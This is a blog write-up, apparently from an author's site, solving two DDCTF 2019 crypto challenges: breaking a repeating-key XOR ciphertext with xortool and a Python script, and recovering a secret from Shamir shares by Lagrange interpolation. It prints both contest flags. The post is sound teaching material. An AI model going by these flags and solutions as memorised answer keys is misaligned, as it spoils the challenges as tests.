2d2d5bd87e6f2d2d55d83242445614cb662b6c5a57c57c6d680851c4716e2d1251c6762b631f55d8325c6c0847cb65272d0e5ccf325b62165dd97a2b4e1344c277792d3841d8776a785a47c27379681e14c366782d3f5ac375666c5756d8776a66135acd327f68195cc47b7a781f478a7365695a40cf7163631558c575722d0d5dde7a2b7912518a5479681457c2326a631e14e86062791347c23c2b490f46c37c6c2d0e5ccf324c680859cb7c2b641442cb6162621414c5742b5d1558cb7c6f215a57c5606e2d2a5bc67b78655a77c36263680814e86779681b418a626e7f095bc47c6e615a43cf606e2d1f42cb717e6c0e51ce3e2b7b13558a4064601b5ac373272d0e5b8a54796c1457cf327c651f46cf327f651f4d8a7778791b56c67b78651f508a6663685a64e932497f0f5ac53278641d5acb7e782d135ade7767611353cf7c68685a47de737f64155a8a6562791214ec606e63195c8a746a6e1358c36662680914d9677b7d1546de3c2b5e0f57c977787e1c41c63268621544cf606a79135bc4326a60155acd327f651f14fa7d676809188a6663685a72d877656e12188a7365695a40c2772b4f085dde7b78655a55de3249611f40c97a67680314fa7379665a57c57c7f641441cf762b781440c37e2b470f5acf323a344e0486327c651f5a8a54796c1457cf3278780846cf7c6f680851ce327f625a40c2772b4a1f46c773657e543ea05479621714de7a627e5a56cf756263145dc475272d0e5ccf32497f1340c361632d3d5bdc7779631751c4662b4e1550cf326a631e14e96b7b651f468a416865155bc632234a3912e941222d1b408a5067680e57c27e6e745a64cb60602d1841c37e7f2d0f448a73652d1f4cde77657e1342cf32687f0344de73656c164dde7b682d1955da736964165dde6b252d335ac366626c1658d33e2b7912518a766e6e084dda6662621414dd73782d1755c37c67745a5bcc3247781c40dd736d6b1f1482556e7f1755c4326a640814cc7d796e1f1d8a7365695a558a746e7a5a7ccf77792d5273cf60666c1414cb6066745314c777787e1b53cf61272d1b478a6663685a7fd87b6e6a0959cb6062631f1482556e7f1755c432656c0c4d83326e600a58c56b6e695a59df71632d175bd8772b7e1f57df606e2d0a46c5716e690f46cf612b6b15468a67786414538a5765641d59cb3c2b4c1655c4325f78085dc475272d1b14e973666f085dce756e2d2f5ac3646e7f095dde6b2b601b40c277666c0e5dc97b6a635a55c4762b611553c371626c14188a6279620c5dce776f2d1741c97a2b621c14de7a6e2d1546c37562631b588a666364145fc37c6c2d0e5ccb662b611f508a66642d0e5ccf326f68095dcd7c2b621c14de7a6e2d1946d3627f6c1455c66b7f641955c63269621756cf32666c195cc37c6e7e5a40c2737f2d0d51d8772b641447de607e601f5ade73672d135a8a777d681440df7367610314c8606e6c115dc4752b7912518a7c6a7b1b588a5765641d59cb3c2b451543cf646e7f5614de7a6e2d3146c3776c7e1755d87b65685a5dc46679621e41c9776f2d1b5a8a5765641d59cb327d680847c37d652d0d5dde7a2b6c5a52c56779791214d87d7f620814cc7d792d1340d9325e20185bcb6678215a46cf617e610e5dc4752b641414cb327b7f1558c57c6c681e14da77796415508a6563681414de7a6e7e1f14c777787e1b53cf612b6e1541c6762b6315408a706e2d1e51c960727d0e51ce3c2b5a1340c2327f651f14c9737b790f46cf32646b5a46cf7e6e7b1b5ade3268640a5ccf602b661f4dd9326a631e14de7a6e2d0f47cf32646b5a59df71632d1c55d9666e7f5a61f932456c0c4d8a7064601851d93e2b7f1f53df7e6a7f5614d8737b641e14d8776a69135acd32646b5a618770646c0e14c777787e1b53cf612b7f1f47df7f6e69543ea04663685a52c6736c2d134790324f493960ec693b3a1805c8263d694b50c82033354e07ce236d694d02922a326b1f559370383b07
将所给的字符串转为二进制文件:echo <上述字符串>|xxd -r -ps>test
xxd // xxd 命令用于用二进制或十六进制显示文件的内容
-r // 把xxd的十六进制输出内容转换回原文件的二进制内容
-ps // 以 postscript的连续十六进制转储输出,这也叫做纯十六进制转储
然后用xortool进行分析得到:
$admin~>python xortool -c 20 test
The most probable key lengths:
3: 11.9%
6: 19.7%
9: 9.3%
12: 14.5%
15: 7.1%
18: 11.2%
21: 5.4%
24: 8.4%
30: 6.8%
36: 5.7%
Key-length can be 3*n
2 possible key(s) of length 6:
\x0b\rz4\xaa\x12
N\rz4\xaa\x12
Found 2 plaintexts with 95.0%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv
于是将得到的密钥与原文本进行xor:1
2
3
4
5
6
7key="014e084dda666a631b58d361627e5a5bcc327f651f14ef7c626a17558a71627d1251d87b656a5a47d3617f681714cf7c6a6f1651ce327f651f14dd7778791f46c4324a61165dcf612b641414fd7d79611e14fd73792d337d8a66642d0851cb762b7e0f56d9666a630e5dcb7e2b6c175bdf7c7f7e5a5bcc3246620847cf3f68621e51ce32796c1e5dc53268621759df7c626e1b40c37d657e5a5bcc327f651f14eb6a627e5a44c5656e7f0914de7a6a795a5ccb762b6f1f51c4326e63195dda7a6e7f1f508a67786414538a5765641d59cb32666c195cc37c6e7e5414fe7a627e5a4dc37767691f508a7f62611340cb60722d135ade7767611353cf7c68685a43c27b68655614cb7e64631d14dd7b7f655a40c2737f2d1c46c57f2b620e5ccf602b691f57d86b7b791f508a5373640914d8736f641514cb7c6f2d0e51c6777b7f135ade77792d0e46cb7c78601347d97b646309188a656a7e5a53c3646e635a40c2772b6e1550cf7c6a601f14ff7e7f7f1b1a8a4663640914dd73782d195bc46162691f46cf762b6f0314dd7778791f46c43258780a46cf7f6e2d3b58c67b6e695a77c57f666c1450cf602b490d5dcd7a7f2d3e1a8a57627e1f5ac27d7c680814de7d2b651b42cf3269681f5a8a306f68195dd97b7d685814de7d2b7912518a5367611351ce327d641940c5607223703efe7a6e2d3f5ac375666c5a59cb7163641451d9327c6808518a732b6b1b59c37e722d15528a62647f0e55c87e6e2d195dda7a6e7f5a59cb7163641451d9327c640e5c8a60647915468a61687f1b59c87e6e7f091a8a5564621e14c5626e7f1b40c37c6c2d0a46c5716e690f46cf61272d0a46c5626e7f164d8a77656b1546c9776f215a43c56767695a5ccb646e2d1755ce772b7912518a6267781d56c57379695a71c47b6c601b14c7736865135acf327e631846cf73606c1858cf3c2b451543cf646e7f5614c77d78795a5bcc327f651f14ed7779601b5a8a7f62611340cb60722d1c5bd8716e7e5614d977687f1f408a616e7f0c5dc977782d1b5ace3268640c5dc67b6a635a55cd77656e1351d9327f651b408a6778681e14ef7c626a17558a77667d165bd3776f2d0a5bc5602b620a51d8737f6414538a6279621951ce67796809188a7365695a5dde327c6c0914de7a6e7e1f14da7d647f5a44d87d68681e41d877782d0e5ccb662b6c1658c5656e695a40c2772b48145dcd7f6a2d1755c97a62631f478a66642d18518a606e7b1f46d97726681453c37c6e680851ce326a631e14de7a6e2d195dda7a6e7f0914de7d2b6f1f14d8776a69543ea04663685a73cf60666c1414da7e7e6a185bcb606f201f45df7b7b7d1f508a5765641d59cb3269681955c7772b431b4ec3324c680859cb7c722a0914da606263195dda73672d1946d3627f625747d3617f68171a8a5b7f2d0d55d932697f155fcf7c2b6f0314de7a6e2d2a5bc67b78655a73cf7c6e7f1b588a417f6c1c528d612b4e1344c277792d3841d8776a785a5dc4324f681951c7706e7f5a05932139215a43c366632d0e5ccf326a641e14c5742b4b0851c47163200941da6267641f508a7b65791f58c67b6c681457cf32666c0e51d87b6a615a5bc8666a641451ce326d7f15598a732b4a1f46c773652d0944d33c2b4c5a59c57c7f655a56cf74647f1f14de7a6e2d1541de7079681b5f8a7d6d2d2d5bd87e6f2d2d55d83242445614cb662b6c5a57c57c6d680851c4716e2d1251c6762b631f55d8325c6c0847cb65272d0e5ccf325b62165dd97a2b4e1344c277792d3841d8776a785a47c27379681e14c366782d3f5ac375666c5756d8776a66135acd327f68195cc47b7a781f478a7365695a40cf7163631558c575722d0d5dde7a2b7912518a5479681457c2326a631e14e86062791347c23c2b490f46c37c6c2d0e5ccf324c680859cb7c2b641442cb6162621414c5742b5d1558cb7c6f215a57c5606e2d2a5bc67b78655a77c36263680814e86779681b418a626e7f095bc47c6e615a43cf606e2d1f42cb717e6c0e51ce3e2b7b13558a4064601b5ac373272d0e5b8a54796c1457cf327c651f46cf327f651f4d8a7778791b56c67b78651f508a6663685a64e932497f0f5ac53278641d5acb7e782d135ade7767611353cf7c68685a47de737f64155a8a6562791214ec606e63195c8a746a6e1358c36662680914d9677b7d1546de3c2b5e0f57c977787e1c41c63268621544cf606a79135bc4326a60155acd327f651f14fa7d676809188a6663685a72d877656e12188a7365695a40c2772b4f085dde7b78655a55de3249611f40c97a67680314fa7379665a57c57c7f641441cf762b781440c37e2b470f5acf323a344e0486327c651f5a8a54796c1457cf3278780846cf7c6f680851ce327f625a40c2772b4a1f46c773657e543ea05479621714de7a627e5a56cf756263145dc475272d0e5ccf32497f1340c361632d3d5bdc7779631751c4662b4e1550cf326a631e14e96b7b651f468a416865155bc632234a3912e941222d1b408a5067680e57c27e6e745a64cb60602d1841c37e7f2d0f448a73652d1f4cde77657e1342cf32687f0344de73656c164dde7b682d1955da736964165dde6b252d335ac366626c1658d33e2b7912518a766e6e084dda6662621414dd73782d1755c37c67745a5bcc3247781c40dd736d6b1f1482556e7f1755c4326a640814cc7d796e1f1d8a7365695a558a746e7a5a7ccf77792d5273cf60666c1414cb6066745314c777787e1b53cf61272d1b478a6663685a7fd87b6e6a0959cb6062631f1482556e7f1755c432656c0c4d83326e600a58c56b6e695a59df71632d175bd8772b7e1f57df606e2d0a46c5716e690f46cf612b6b15468a67786414538a5765641d59cb3c2b4c1655c4325f78085dc475272d1b14e973666f085dce756e2d2f5ac3646e7f095dde6b2b601b40c277666c0e5dc97b6a635a55c4762b611553c371626c14188a6279620c5dce776f2d1741c97a2b621c14de7a6e2d1546c37562631b588a666364145fc37c6c2d0e5ccb662b611f508a66642d0e5ccf326f68095dcd7c2b621c14de7a6e2d1946d3627f6c1455c66b7f641955c63269621756cf32666c195cc37c6e7e5a40c2737f2d0d51d8772b641447de607e601f5ade73672d135a8a777d681440df7367610314c8606e6c115dc4752b7912518a7c6a7b1b588a5765641d59cb3c2b451543cf646e7f5614de7a6e2d3146c3776c7e1755d87b65685a5dc46679621e41c9776f2d1b5a8a5765641d59cb327d680847c37d652d0d5dde7a2b6c5a52c56779791214d87d7f620814cc7d792d1340d9325e20185bcb6678215a46cf617e610e5dc4752b641414cb327b7f1558c57c6c681e14da77796415508a6563681414de7a6e7e1f14c777787e1b53cf612b6e1541c6762b6315408a706e2d1e51c960727d0e51ce3c2b5a1340c2327f651f14c9737b790f46cf32646b5a46cf7e6e7b1b5ade3268640a5ccf602b661f4dd9326a631e14de7a6e2d0f47cf32646b5a59df71632d1c55d9666e7f5a61f932456c0c4d8a7064601851d93e2b7f1f53df7e6a7f5614d8737b641e14d8776a69135acd32646b5a618770646c0e14c777787e1b53cf612b7f1f47df7f6e69543ea04663685a52c6736c2d134790324f493960ec693b3a1805c8263d694b50c82033354e07ce236d694d02922a326b1f559370383b07"
key=key.decode("hex")
ans=""
k="\x0b\rz4\xaa\x12" #N\rz4\xaa\x12
for i in range(len(key)):
ans+=chr(ord(key[i])^ord(k[i%len(k)]))
print ans
成功得到flag:DDCTF{07b1b46d1db28843d1fd76889fea9b36}
联盟决策大会
为了共同的利益,【组织1】和【组织2】成立了联盟,并遵守共同约定的协议。为了让协议的制定和修改更加公
平,组织1和组织2共同决定:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协
议。为了实现这一功能,联盟的印章被锁在密码保险柜中,而保险柜的密码只通过Shamir秘密分享方案分享给【组织
1】和【组织2】的每一位成员。
现在,【组织1】的【成员1】、【成员2】、【成员4】,【组织2】的【成员3】、【成员4】、【成员5】一致同
意制定新的协议。请还原出这套方案的设计思路,按照这套方案的思路恢复出保险柜密码,取出印章吧!以下为使用到的7个十六进制常数:
p =
C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4
E32D331535F08FC6338748C8447E72763A07F8AF7
组织1成员1 =
30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF5000
0B74A8B8D572B253E63473A0916B69878A779946A
组织1成员2 =
1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3
C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7
组织1成员4 =
1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF654
6BD09720D5D5F3E7BC1A401C8BD7300C253927BBC
组织2成员3 =
300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E
77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA
组织2成员4 =
1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022
957B0C0584199F02790AAC61D7132F7DB6A8F77B9
组织2成员5 =
9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67C
A8F3CC3BC157E5853E29537E8B9A55C0CF927FE45
shamir算法
简单解释
直接套用脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134'''
The following Python implementation of Shamir's Secret Sharing is
released into the Public Domain under the terms of CC0 and OWFa:
https://creativecommons.org/publicdomain/zero/1.0/
http://www.openwebfoundation.org/legal/the-owf-1-0-agreements/owfa-1-0
See the bottom few lines for usage. Tested on Python 2 and 3.
'''
from __future__ import division
from __future__ import print_function
import random
import functools
# 12th Mersenne Prime
# (for this application we want a known prime number as close as
# possible to our security level; e.g. desired security level of 128
# bits -- too large and all the ciphertext is large; too small and
# security is compromised)
_PRIME = 2**127 - 1
# 13th Mersenne Prime is 2**521 - 1
_RINT = functools.partial(random.SystemRandom().randint, 0)
def _eval_at(poly, x, prime):
'''evaluates polynomial (coefficient tuple) at x, used to generate a
shamir pool in make_random_shares below.
'''
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum
def make_random_shares(minimum, shares, prime=_PRIME):
'''
Generates a random shamir pool, returns the secret and the share
points.
'''
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points
def _extended_gcd(a, b):
'''
division in integers modulus p means finding the inverse of the
denominator modulo p and then multiplying the numerator by this
inverse (Note: inverse of A is B such that A*B % p == 1) this can
be computed via extended Euclidean algorithm
http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
'''
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y
def _divmod(num, den, p):
'''compute num / den modulo prime p
To explain what this means, the return value will be such that
the following is true: den * _divmod(num, den, p) % p == num
'''
inv, _ = _extended_gcd(den, p)
return num * inv
def _lagrange_interpolate(x, x_s, y_s, p):
'''
Find the y-value for the given x, given n (x, y) points;
k points will define a polynomial of up to kth order
'''
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p
def recover_secret(shares, prime=_PRIME):
'''
Recover the secret from share points
(x,y points on the polynomial)
'''
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
return _lagrange_interpolate(0, x_s, y_s, prime)
def main():
p=0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533
a1=(1,0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E)
a2=(2,0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6)
a4=(4,0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D)
b3=(3,0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61)
b4=(4,0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8)
b5=(5,0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510)
shares=[a1,a2,a4,b3,b4,b5]
r1=recover_secret(shares[:3],p)
r2=recover_secret(shares[-3:],p)
print(hex(r1))
print(hex(r2))
r3=r1^r2
print(hex(r3))
c1=(1,r1)
c2=(2,r2)
shares=[c1,c2]
r4=recover_secret(shares,p)
print(hex(r4))
print(hex(r4)[2:-1].decode('hex'))
if __name__ == '__main__':
main()
得到答案:
0x5f9fa97581c7b20f16c60d61cf3973bc308f5014756e7e6679dfc1b1931e4ab9853f962def6eefe68fb3fba2263d5cd1b4c13ebf08a5efcd2a3db8bf65aeb401L
0xbf3f52eb038f641e2d8c1ac39e72e778611ea028eadcfcccf37b3f1fd1f619fcc44cf9f36f719997b6fbc1d31c234c3123284812b71a9b57f02422377bfafc85L
0xe0a0fb9e8248d6113b4a17a2514b94c45191f03c9fb282aa8aa4feae42e8534541736fde801f767139483a713a1e10e097e976adbfbf749ada199a881e544884L
0x44444354467b76463232686f6c4635686c357130576d72465a356b5a31444264574f474f626b7dL
DDCTF{vF22holF5hl5q0WmrFZ5kZ1DBdWOGObk}
Author: damn1t
Link: http://microvorld.com/2019/04/21/CTF/ddctf2019/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.